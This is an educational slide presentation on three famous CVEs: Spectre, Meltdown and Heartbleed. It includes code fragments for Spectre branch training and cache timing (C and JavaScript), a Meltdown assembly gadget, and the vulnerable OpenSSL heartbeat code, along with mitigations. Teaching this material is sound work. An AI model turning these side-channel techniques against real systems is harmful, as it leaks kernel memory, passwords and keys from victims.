Your browser doesn't support the features required by impress.js, so you are presented with a simplified version of this presentation.

For the best experience please use the latest Chrome, Safari or Firefox browser.

Celebrity

Vulnerabilities

Reported vulnerabilities (CVE)

Spectre

CVE-2017-5715

Famous for:

What is a branch

if ( veryLongFunction() ) {
  compute1();
  compute2();
} else {
  compute3();
  compute4();
}

Branch prediction

Branch training

uint8_t array[] = { 'v','i','c','t','i','m',' ','a','r','r','a','y' };

void victim_function(size_t x) {
    if (x < array_size)
        temp = array[x];
}

int main() {
  size_t indexes[] = {0, 1, 2, 3, 4, 0xffff01};
  for (int i : indexes) {
    _mm_clflush(&array1_size);
    victim_function(i);
  }
}

Branch training

Key points

The ghost with a branch

Cache side effects

uint8_t array[] = { 'v','i','c','t','i','m',' ','a','r','r','a','y' };


void victim_function(size_t x) {
    if (x < array_size) {
        temp = array[x];
    }
}

Cache side effects (probe array)

uint8_t array[] = { 'v','i','c','t','i','m',' ','a','r','r','a','y' };
uint8_t probe_array[256];

void victim_function(size_t x) {
    if (x < array_size) {
        temp = probe_array[array[x]];
    }
}

Cache side effects (probe array * cache line)

uint8_t array[] = { 'v','i','c','t','i','m',' ','a','r','r','a','y' };
uint8_t probe_array[256*64];

void victim_function(size_t x) {
    if (x < array_size) {
        temp = probe_array[array[x] * 64];
    }
}

Cache side effects (ignore stride detection effects)

uint8_t array[] = { 'v','i','c','t','i','m',' ','a','r','r','a','y' };
uint8_t probe_array[256*512];

void victim_function(size_t x) {
    if (x < array_size) {
        temp = probe_array[array[x] * 512];
    }
}

Measure access time

for (tries = 0; tries < 999; tries++) {
  for (i = 0; i < 256; i++)
      _mm_clflush(&probe_array[i * 4096]); // flush probe array
  
  training_x = tries % array_size; // pick next training letter
  for (j = 0; j < 6; j++) {        // train, every 6th is malicious
      _mm_clflush(&array1_size);
      victim_function( j == 5 ? malicious_x : training_x);
  }

  for (i = 0; i < 256; i++) {          // count the score
      time1 = __rdtscp(&junk);         // - READ TIMER
      junk = probe_array[i*4096];      // - MEMORY ACCESS TO TIME
      time2 = __rdtscp(&junk) - time1; // - COMPUTE ELAPSED TIME

      if (/* fast */) score[i]++;
  }
}

Measure access time (train 5 x 'v')

Measure access time (train 5 x 'i')

Measure access time (train 5 x 'c')

Measure access time (train 5 x 't')

for (tries = 0; tries < 999; tries++) {
  for (i = 0; i < 256; i++)
      _mm_clflush(&probe_array[i * 4096]); /* flush probe array */
  
  training_x = tries % array_size; // pick next training letter
  for (j = 0; j < 6; j++) {
      _mm_clflush(&array1_size);
      victim_function( j == 5 ? malicious_x : training_x);
  }
}

Spectre - limitations

Spectre - running in browser

j = ((tries<<12)|0)|0;                         // tires * 4096
arr_size = array_sizes[(j|0)]|0;               // fresh array size

if ((index|0) < (arr_size|0)) {
    index = array[index|0]|0;                  // fetch data
    index = (index << 12)|0;                   // index * 4096
    junk = (junk ^ (probeTable[index]|0))|0;   // use data on probe array
}
// worker_thread.js
self.onmessage = function(event) {
  const sharedArray = new Uint32Array(event.data);
  while(true) {
    Atomics.add(sharedArray, 0, 1);
  }
}

// main.js
let t1 = Atomics.load(sharedArray, 0);
junk = Atomics.load(sharedArray, 0) 
let t2 = Atomics.load(sharedArray, 0) - t1;

Spectre - fixing the browser

Hardware level problem - need workarounds:

Spectre variants

Meltdown

CVE-2017-5754

Famous for:

Meltdown - example code

  uint8_t* ptr = (uint8_t*) 0x0000812345678900;
  uint8_t junk = *ptr;

Kernel vs user space

Kernel vs user space - page tables

Meldown - attack

Meltdown - fragment code

retry:
  xor    %rax,%rax                // val = 0
  mov    (%rdx),%al               // val = *ptr
  shl    $0xc,%rax                // val = val * 4096
  je     retry                    // if (val == 0) got retry
  mov    (%rcx,%rax,1),%rbx       // junk = probe[val]
if (_xbegin() == _XBEGIN_STARTED) {
    victim_function(ptr, probe_array);
    _xend();
} 

Meldown - the fix

Kernel Page Table Isolation (KPTI)

Meldown and Spectre - hardware fix

Vulnerability Mitigation
Meltdown Hardware fix
Spectre-V1 Software fix
Spectre-V2 Hardware fix

Meldown and Spectre - lessons learned

Heartbleed

CVE-2014-0160

Famous for:

Heartbeat extension

Heartbeat extension - bug

int dtls1_process_heartbeat(SSL *s) {
    unsigned char *p = &s->s3->rrec.data[0], *pl;

    // [...]

    /* Read type and payload length first */
    hbtype = *p++;
    n2s(p, payload);
    pl = p;

    // [...]
    if (hbtype == TLS1_HB_REQUEST) {
        unsigned char *buffer, *bp;
        int r;

        /* Allocate memory for the response */
        buffer = OPENSSL_malloc(1 + 2 + payload + padding);
        bp = buffer;

        /* Enter response type, length and copy payload */
        *bp++ = TLS1_HB_RESPONSE;
        s2n(payload, bp);
        memcpy(bp, pl, payload);
        bp += payload;
        /* Random padding */
        RAND_pseudo_bytes(bp, padding);

        // [...]
    }

Heartbleed - damage done

2012-03-14 12:39:00 +0000  (tag: OpenSSL_1_0_1)
2014-01-06 14:36:07 +0000  (tag: OpenSSL_1_0_1f)
2014-04-07 17:55:44 +0100  (tag: OpenSSL_1_0_1g)
Web Servers Mail Servers Database Servers
Apache (mod_ssl) Sendmail MySQL
Microsoft IIS Postfix PostgreSQL
Nginx Qmail SQL Server
Lighttpd Exim Oracle
Tomcat Courier IBM DB2
Google GWS Exchange MongoDB
LiteSpeed Dovecot CouchDB
IBM Web Server Cyrus Cassandra
Jetty Zimbra Redis

Cloudflare Heartbleed challenge

"We think the stealing private keys on most NGINX servers is at least extremely hard"

Heartbleed - fixing the bug

  • revoke certificates (a lot of them)
  • create new certificates
  • disable extension (requires recompilation)
  • move to older version of OpenSSL or patch:
  • if (1 + 2 + payload + 16 > s->s3->rrec.length)
        return 0; /* silently discard per RFC 6520 sec. 4 */
    

    Heartbleed - lets think

    Heartbleed - lessons learned

    Thank you

    Use a spacebar or arrow keys to navigate